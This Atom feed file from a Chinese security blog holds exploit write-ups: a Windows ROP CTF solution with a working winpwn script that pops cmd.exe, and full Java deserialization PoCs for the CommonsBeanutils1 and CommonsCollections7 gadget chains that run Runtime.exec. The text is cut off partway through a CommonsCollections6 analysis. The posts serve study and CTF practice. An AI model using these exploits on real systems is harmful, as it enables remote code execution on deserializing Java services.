-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathatom.xml
More file actions
1986 lines (1816 loc) · 97 KB
/
atom.xml
File metadata and controls
1986 lines (1816 loc) · 97 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<id>https://limpid94.github.io</id>
<title>Limpid</title>
<updated>2022-09-14T09:48:42.569Z</updated>
<generator>https://github.com/jpmonette/feed</generator>
<link rel="alternate" href="https://limpid94.github.io"/>
<link rel="self" href="https://limpid94.github.io/atom.xml"/>
<subtitle>Keep thinking , keeping learning</subtitle>
<logo>https://limpid94.github.io/images/avatar.png</logo>
<icon>https://limpid94.github.io/favicon.ico</icon>
<rights>All rights reserved 2022, Limpid</rights>
<entry>
<title type="html"><![CDATA[【WinPWN】栈溢出-ROP-babyROP]]></title>
<id>https://limpid94.github.io/post/winpwn-zhan-yi-chu-rop-babyrop/</id>
<link href="https://limpid94.github.io/post/winpwn-zhan-yi-chu-rop-babyrop/">
</link>
<updated>2022-05-09T16:22:43.000Z</updated>
<content type="html"><![CDATA[<h2 id="程序基本信息">程序基本信息</h2>
<figure data-type="image" tabindex="1"><img src="https://limpid94.github.io/post-images/1652113838376.png" alt="" loading="lazy"></figure>
<h2 id="反编译情况">反编译情况</h2>
<pre><code class="language-c">int __cdecl main(int argc, const char **argv, const char **envp)
{
FILE *v3; // eax
int i; // esi
char v5; // al
FILE *v6; // eax
FILE *v7; // eax
int v8; // esi
int j; // ebx
char v10; // al
FILE *v11; // eax
char messages[100]; // [esp+Ch] [ebp-CCh] BYREF
char name[100]; // [esp+70h] [ebp-68h] BYREF
int messagelength; // [esp+D4h] [ebp-4h] BYREF
puts("input your name");
v3 = _iob_func();
fflush(v3 + 1);
for ( i = 0; i < 100; ++i )
{
v5 = getchar();
if ( v5 == 10 )
break;
name[i] = v5;
}
printf("hello %s\n", name);
v6 = _iob_func();
fflush(v6 + 1);
puts("input your message length");
v7 = _iob_func();
fflush(v7 + 1);
scanf("%d\n", &messagelength);
v8 = 0;
for ( j = messagelength; v8 < j; messages[v8++] = v10 )
{
v10 = getchar();
if ( v10 == 10 )
break;
}
puts("leave your message");
printf("your mesage is %s\n", messages);
printf("press enter to exit\n");
v11 = _iob_func();
fflush(v11 + 1);
getchar();
return 0;
}
</code></pre>
<h2 id="漏洞分析">漏洞分析</h2>
<p>首先看到第一处</p>
<pre><code class="language-c"> puts("input your name");
v3 = _iob_func();
fflush(v3 + 1);
for ( i = 0; i < 100; ++i )
{
v5 = getchar();
if ( v5 == 10 )
break;
name[i] = v5;
}
printf("hello %s\n", name);
</code></pre>
<p>在输入name的时候输入长度为100,并且name的数组长度为<code>char name[100];</code>,这样并不会造成栈溢出,但是字符串的结尾应该是<code>\x00</code> ,因此当输入长度为100字符的时候就会将末尾的 <code>\x00</code> 抹去,于是在printf函数中会将后面的数据一起打印出来:<br>
<img src="https://limpid94.github.io/post-images/1652114958081.png" alt="" loading="lazy"><br>
通过X32DBG进行调试,发现内存布局如下:<br>
<img src="https://limpid94.github.io/post-images/1652115168867.png" alt="" loading="lazy"><br>
实际上内存中紧跟name字符串后面的是msvcr100.dll中的某个函数,因此可以通过当前地址-偏移量=dll文件的基址。而用调试器查看当前程序的内存布局可以获得当前msvcr100.dll的加载基址,于是就可以得知偏移量是多少。<br>
<img src="https://limpid94.github.io/post-images/1652179735489.png" alt="" loading="lazy"><br>
偏移量为<code>0x7120263d-0x711f0000=0x1263d</code>,从程序信息中得知程序开启了ASLR和DEP保护,也就是每次程序启动加载的地址不一样,但是偏移量不会变动,因此结合泄露的地址就能求出每次启动时msvcr100.dll的基址。</p>
<p>再来看第二处:</p>
<pre><code class="language-c"> puts("input your message length");
v7 = _iob_func();
fflush(v7 + 1);
scanf("%d\n", &messagelength);
v8 = 0;
for ( j = messagelength; v8 < j; messages[v8++] = v10 )
{
v10 = getchar();
if ( v10 == 10 )
break;
}
</code></pre>
<p>这里输入的长度可控,并且输入的内容长度可以超过messages数组的长度,因此存在栈溢出漏洞。<br>
从IDA中得知messages距离ebp的长度:<br>
<img src="https://limpid94.github.io/post-images/1652180304744.png" alt="" loading="lazy"><br>
也就是填充<code>0xCC+4</code>字节长度就可以控制EIP从而劫持程序流。<br>
现在DEP保护开启使得无法把shellcode填入栈中来执行,因此需要ROP来绕过这个保护。可以利用MANO脚本来查找ropchain,也可以尝试直接从msvcr100.dll中挖掘利用点。</p>
<p>首先在msvcr100.dll中找到system函数:<br>
<img src="https://limpid94.github.io/post-images/1652180651947.png" alt="" loading="lazy"><br>
其偏移地址为:<br>
<img src="https://limpid94.github.io/post-images/1652180946490.png" alt="" loading="lazy"></p>
<p>然后还发现存在cmd.exe字符串,但是字符串并不能直接看出偏移地址,因此先用ida加载dll文件获取当前地址,再查看其镜像基地址:<br>
<img src="https://limpid94.github.io/post-images/1652180726880.png" alt="" loading="lazy"><br>
然后用exeinfoPE来查看基地址:<br>
<img src="https://limpid94.github.io/post-images/1652181119674.png" alt="" loading="lazy"><br>
二者相减得知偏移量:<code>0x78AE3030-0x87AA0000 = 0x43030</code>,于是可以编写EXP了。</p>
<p>需要注意的是,发生栈溢出的栈空间属于main函数,因此需要先完成最后的那个回车才能触发:<br>
<img src="https://limpid94.github.io/post-images/1652181420191.png" alt="" loading="lazy"></p>
<h2 id="exp">EXP</h2>
<pre><code class="language-python">#coding:utf-8
from winpwn import *
#context.log_level = 'debug'
context.arch = 'i386'
p = process("I:\\WinPwn\\execise\\BUUOJ\\BabyROP\\babyrop.exe")
payload = "A" * 0x63 + "@"
p.recvuntil("name")
p.sendline(payload)
p.recvuntil("@")
# hex(0x7120263d-0x711f0000) = 0x1263d
dll_base = u32(p.recv(4)) - 0x1263d
print "[+] MSVCR100.DLL Base Address:",dll_base
system_offset = 0x62632
cmd_offset = 0x43030
system_addr = dll_base + system_offset
cmd_addr = dll_base + cmd_offset
payload2 = 'A'*0xCC + 'BBBB' + p32(system_addr) + p32(0xdeadbeef) + p32(cmd_addr)
p.recvuntil("input your message length")
p.sendline(str(256))
p.sendline(payload2)
p.recvuntil("press enter to exit")
p.sendline("")
p.interactive()
</code></pre>
<figure data-type="image" tabindex="2"><img src="https://limpid94.github.io/post-images/1652181635681.png" alt="" loading="lazy"></figure>
]]></content>
</entry>
<entry>
<title type="html"><![CDATA[【Java反序列化】CommonBeanutils1利用链]]></title>
<id>https://limpid94.github.io/post/java-fan-xu-lie-hua-commonbeanutils1-li-yong-lian/</id>
<link href="https://limpid94.github.io/post/java-fan-xu-lie-hua-commonbeanutils1-li-yong-lian/">
</link>
<updated>2022-04-29T06:50:57.000Z</updated>
<content type="html"><![CDATA[<h2 id="前言">前言</h2>
<p>在尝试复现Shiro 550反序列化漏洞的时候发现用cc链不能正常攻击,而网上的一些文章却能正常用CC链进行复现。经过对比发现原始的Shiro环境下没有Common-Collections包,而网上能成功复现的博主大部分都是自己添加了CC包。于是思考在无CC包的情况下如何进行利用。当然已经有大牛给出了答案,使用CommonBeanutils包来构造反序列化链接。</p>
<h2 id="调用链">调用链</h2>
<pre><code class="language-text">PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
siftDownUsingComparator()
BeanComparator.compare()
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).<static init>
Runtime.exec()
</code></pre>
<h2 id="相关知识点">相关知识点</h2>
<h3 id="commonbeanutils">CommonBeanutils</h3>
<p>CommonBeanutils提供了一组便捷的动态操作JavaBean的API,代替复杂的反射模式。<br>
其中值得关注的有<code>org.apache.commons.beanutils.BeanComparator</code> ,其实现了<code>Comparator</code>接口可以用来比较两个Bean属性的内容。<br>
<img src="https://limpid94.github.io/post-images/1651219689079.png" alt="" loading="lazy"><br>
查看其构造函数,一共有三个:</p>
<pre><code class="language-java"> public BeanComparator() {
this( null );
}
public BeanComparator( String property ) {
this( property, ComparableComparator.getInstance() );
}
public BeanComparator( String property, Comparator comparator ) {
setProperty( property );
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}
</code></pre>
<p>构造函数需要传入两个函数第二个函数若不传则默认调用<code>ComparableComparator</code>,其源于CommonsCollections。但如果传入了一个原生的<code>Comparator</code>则可以摆脱对CC包的依赖。<br>
再看它的compare方法</p>
<pre><code class="language-java"> public int compare( Object o1, Object o2 ) {
if ( property == null ) {
// compare the actual objects
return comparator.compare( o1, o2 );
}
try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return comparator.compare( value1, value2 );
}
catch ( IllegalAccessException iae ) {
throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
}
catch ( InvocationTargetException ite ) {
throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
}
catch ( NoSuchMethodException nsme ) {
throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
}
}
</code></pre>
<p>该方法会调用<code>PropertyUtils.getProperty()</code>来获取两个对象的<code>property</code>属性的值,然后调用<code>internalCompare()</code>方法调用实例化的<code>comparator</code> 的<code>compare</code> 方法进行比较。而<code>getProperty()</code>相当于获取传入的对象的指定属性的<code>getter/setter</code>方法。例如传入<code>User</code>和<code>name</code>,相当于调用 <code>User.getName()</code>。</p>
<h2 id="反序列化利用链构造">反序列化利用链构造</h2>
<p>这里用来触发恶意代码的TemplatesImpl的<code>newTransformer()</code>是被自身类中的<code>getOutputProperties()</code>所调用。<br>
<img src="https://limpid94.github.io/post-images/1651404435994.png" alt="" loading="lazy"><br>
之所以<code>getOutputProperties</code>方法是因为可以搭配<code>BeanComparator#compare()</code>,利用其中调用类的getter/setter方法的手段来调用<code>getOutputProperties</code>属性的值。<br>
为了进一步触发<code>BeanComparator</code>类的<code>compare</code>方法,可考虑CC链中的<code>PriorityQueue</code>类。<br>
<code>PriorityQueue</code>的调用过程在CC2反序列化的文章内有分析过,简单说就是<code>PriorityQueue#readObject()</code> 调用了<code>heapify()</code>,而在<code>heapify()</code>中为了遍历和排序元素,将其传入<code>siftDown()</code>中。如果<code>comparator</code>不为空的话会进入<code>siftDownUsingComparator()</code>中,</p>
<pre><code class="language-java"> private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
</code></pre>
<p>而在<code>siftDownUsingComparator()</code>中调用了<code>compare</code>方法,也就跟<code>BeanComparator</code>中的<code>compare</code>方法链接起来</p>
<h2 id="poc">POC</h2>
<pre><code class="language-java">package cc.commonbeanutils;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonBeanutils1 {
public static void main(String[] args) throws Exception {
//获取默认类池
ClassPool pool = ClassPool.getDefault();
//添加路径
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//创建新类
CtClass evil = pool.makeClass("Evil");
//设置类名
evil.setName("MyEvil");
//设置要继承的类
evil.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//创建空的构造函数
CtConstructor newconstructor = evil.makeClassInitializer();
//将字节码插入开头
newconstructor.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc.exe\");");
evil.writeFile();
byte[] bytecode = evil.toBytecode();
byte[][] bytecodes = {bytecode};
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");
Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,bytecodes);
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
//++++++++++++++++++++++++++++++++代码执行部分结束+++++++++++++++++++++++++++++++++++++
BeanComparator beanComparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add("1");
queue.add("2");
Field propertyField = beanComparator.getClass().getDeclaredField("property");
propertyField.setAccessible(true);
propertyField.set(beanComparator,"outputProperties");
Field queueField = queue.getClass().getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(queue, new Object[]{templates,templates});
Field comparatorField = beanComparator.getClass().getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(beanComparator,String.CASE_INSENSITIVE_ORDER);
// mySeriable(queue);
myDeseriable("seccb1.bin");
}
public static void mySeriable(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("seccb1.bin"));
oos.writeObject(obj);
oos.close();
}
public static Object myDeseriable(String s) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(s));
return ois.readObject();
}
}
</code></pre>
<h2 id="参考材料">参考材料</h2>
<p>https://www.cnblogs.com/9eek/p/15123125.html<br>
https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html<br>
https://blog.weik1.top/2021/01/18/CommonsBeanutils%E9%93%BE%E5%88%86%E6%9E%90/<br>
https://www.cnblogs.com/zpchcbd/p/14957034.html<br>
https://su18.org/post/ysoserial-su18-3/#beancomparator</p>
]]></content>
</entry>
<entry>
<title type="html"><![CDATA[【Java反序列化】CommonCollections7利用链]]></title>
<id>https://limpid94.github.io/post/java-fan-xu-lie-hua-commoncollections7-li-yong-lian/</id>
<link href="https://limpid94.github.io/post/java-fan-xu-lie-hua-commoncollections7-li-yong-lian/">
</link>
<updated>2022-04-08T09:53:02.000Z</updated>
<content type="html"><![CDATA[<h2 id="调用链">调用链</h2>
<pre><code> java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
</code></pre>
<h2 id="差异点分析">差异点分析</h2>
<p>CC1、3、5、6都用都到了<code>LazyMap</code>的<code>get</code>作为命令执行的入口点,CC7同样采用<code>LazyMap</code>的<code>get()</code>但是有别于之前的触发方法。</p>
<h3 id="hashtable">Hashtable</h3>
<p>该条反序列化的入口点是<code>readObject()</code></p>
<pre><code class="language-java"> private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();
// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();
// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}
</code></pre>
<p>追入<code>reconstitutionPut()</code>中,在里面找到<code>e.key.equals(key)</code>可以直接和<code>LazyMap</code>的<code>equals</code>方法进行对接。</p>
<pre><code class="language-java"> private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
</code></pre>
<p><code>reconstitutionPut()</code> 会将 <code>HashTable</code> 里的键名<code>(key)</code>互相比较,而传入的key是<code>LazyMap</code>,相当于调用<code>LazyMap#equals()</code>。<br>
但是<code>LazyMap</code>并没有直接实现<code>equals</code>方法,而是在其父类<code>AbstractMapDecorator</code>中实现的,也就是调用了<code>AbstractMapDecorator#equals()</code></p>
<pre><code class="language-java"> public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object);
}
</code></pre>
<p>可以看到该方法返回<code>map.equals(object)</code>的值,而<code>map</code>是在LazyMap的构造函数中被赋值:</p>
<pre><code class="language-java"> protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}
</code></pre>
<p>如果传入<code>HashMap</code>,那么<code>map.equals(object)</code>实际上就是调用<code>HashMap的equals</code>方法。</p>
<p>回到HashMap,其继承了<code>Abstract类</code>,而且二者都实现了Map接口。借用安全客的文章中的继承关系图片<br>
<img src="https://limpid94.github.io/post-images/1649685077683.png" alt="" loading="lazy"><br>
该链中需要跟一下equals方法,</p>
<pre><code class="language-java"> public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
</code></pre>
<p>其中有两处<code>m.get(key)</code>的调用就是触发命令执行的链接点。</p>
<h3 id="注意点">注意点</h3>
<p>整条链条看上去并不复杂,但是值得注意的细节比较多。<br>
首先是需要【两个HashMap】。因为在Hashtable的put方法中:</p>
<pre><code class="language-java"> public synchronized V put(K key, V value) {
......(部分代码省略)
for(; entry != null ; entry = entry.next) {
if ((entry.hash == hash) && entry.key.equals(key)) {
V old = entry.value;
entry.value = value;
return old;
}
}
......
</code></pre>
<p>两个hashmap相同的话会直接在hashtable put的时候认为是一个元素,之后在反序列化的时候不再触发反序列化代码。</p>
<p>其次是【zZ和yy】。一开始以为是任意的两个字符串,但是经过分析之后发现实际上是有作用的。<br>
仔细看一下<code>Hashtable#reconstitutionPut</code>的代码</p>
<pre><code class="language-java"> private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
</code></pre>
<p>其中<code>if ((e.hash == hash) && e.key.equals(key))</code>要求两个哈希必须相等。此处想到和2022虎符CTF的web题类似,需要从hashCode计算方法入手<br>
<img src="https://limpid94.github.io/post-images/1649825895114.png" alt="" loading="lazy"><br>
因此假定比较的第一个字符串为'yy',其字符的ASCII是121,若第二个字符串开头与之相差1,即z开头,那么z后的字符应该是121-31=90,就是Z。因此要和第一个字符串相等,第二个字符串可以是zZ。(当然,不是只有这两个字符串,只要符合这个规律的字符串都行)<br>
这里其实还隐含了一个条件,就是这两个字符串不能是相同的。因为lazymap#get()中有这样的逻辑:</p>
<pre><code class="language-java"> if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
</code></pre>
<p>请注意到containsKey()方法:<br>
<img src="https://limpid94.github.io/post-images/1649826795369.png" alt="" loading="lazy"></p>
<p>也就是相同的key会导致其不进入<code>transform()</code>方法。</p>
<p>再者需要理解 【lazyMap2.remove("yy");】。因为<code>hashtable</code>有两次<code>put</code>的操作,在第二次<code>hashtable.put(lazyMap2, 1);</code>时,会触发LazyMap 的 get 方法,会新增一个 key/value 值相同的键值对,所以此时会多出一个yy。<br>
<img src="https://limpid94.github.io/post-images/1649829997580.png" alt="" loading="lazy"></p>
<h2 id="poc">POC</h2>
<pre><code class="language-java">package cc.commonscollections;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CommonCollections7 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
//LazyMap传入的值需要一个map类型,因此用HashMap
HashMap<Object, Object> innerMap1 = new HashMap<>();
HashMap<Object, Object> innerMap2 = new HashMap<>();
Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
lazyMap1.put("yy",1);
Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("zZ",1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,1);
Field iTransformersField = chainedTransformer.getClass().getDeclaredField("iTransformers");
iTransformersField.setAccessible(true);
iTransformersField.set(chainedTransformer,transformers);
lazyMap2.remove("yy");
// mySeriable(hashtable);
myDeseriable();
}
public static void mySeriable(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser7.bin"));
oos.writeObject(obj);
}
public static Object myDeseriable() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser7.bin"));
return ois.readObject();
}
}
</code></pre>
<h2 id="参考资料">参考资料</h2>
<p>https://www.anquanke.com/post/id/240040#h3-4<br>
https://javamana.com/2022/03/202203132203154936.html<br>
https://blog.csdn.net/qq_35733751/article/details/119862728<br>
https://blog.weik1.top/2021/03/02/CommonCollections2-7%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90%E5%88%86%E6%9E%90/#CommonCollections7<br>
http://cnblogs.com/nice0e3/p/13910833.html<br>
https://blog.csdn.net/weixin_44245828/article/details/109853439</p>
]]></content>
</entry>
<entry>
<title type="html"><![CDATA[【Java反序列化】CommonCollections6利用链]]></title>
<id>https://limpid94.github.io/post/java-fan-xu-lie-hua-commoncollections6-li-yong-lian/</id>
<link href="https://limpid94.github.io/post/java-fan-xu-lie-hua-commoncollections6-li-yong-lian/">
</link>
<updated>2022-04-06T13:52:18.000Z</updated>
<content type="html"><![CDATA[<h2 id="利用连">利用连</h2>
<pre><code> Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
</code></pre>
<h2 id="差异点分析">差异点分析</h2>
<p>CC6和CC5在后半段基本相同,前半部分的差异在于CC5中使用的是<code>BadAttributeValueExpException</code>而CC6用<code>HashSet</code>去调用<code>LazyMap#get()</code>。<br>
此处还是要回顾一下<code>TiedMapEntry</code>中有两处调用了<code>getValue()</code>,分别是<code>toString()</code>和<code>hashCode()</code></p>
<pre><code class="language-java"> /**
* Gets a hashCode compatible with the equals method.
* <p>
* Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
*
* @return a suitable hash code
*/
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
/**
* Gets a string version of the entry.
*
* @return entry as a string
*/
public String toString() {
return getKey() + "=" + getValue();
}
</code></pre>
<p>CC5是调用<code>toString()</code>,而CC6则调用<code>hashCode()</code>。</p>
<h3 id="hashset">HashSet</h3>
<p>HashSet本质还是调用HashMap,这点从他的构造函数可以看出:</p>
<pre><code class="language-java"> /**
* Constructs a new, empty set; the backing <tt>HashMap</tt> instance has
* default initial capacity (16) and load factor (0.75).
*/
public HashSet() {
map = new HashMap<>();
}
</code></pre>
<p>并且其<code>add()</code>实质上是调用<code>HashMap</code>的<code>put()</code>。</p>
<pre><code class="language-java"> public boolean add(E e) {
return map.put(e, PRESENT)==null;
}
</code></pre>
<p>从URLDNS中对于HashMap的了解可以知道<code>put()</code>会调用<code>HashMap#hash()</code>来计算添加进来的新元素的哈希值,因而可以调用<code>TiedMap#hashCode()</code></p>
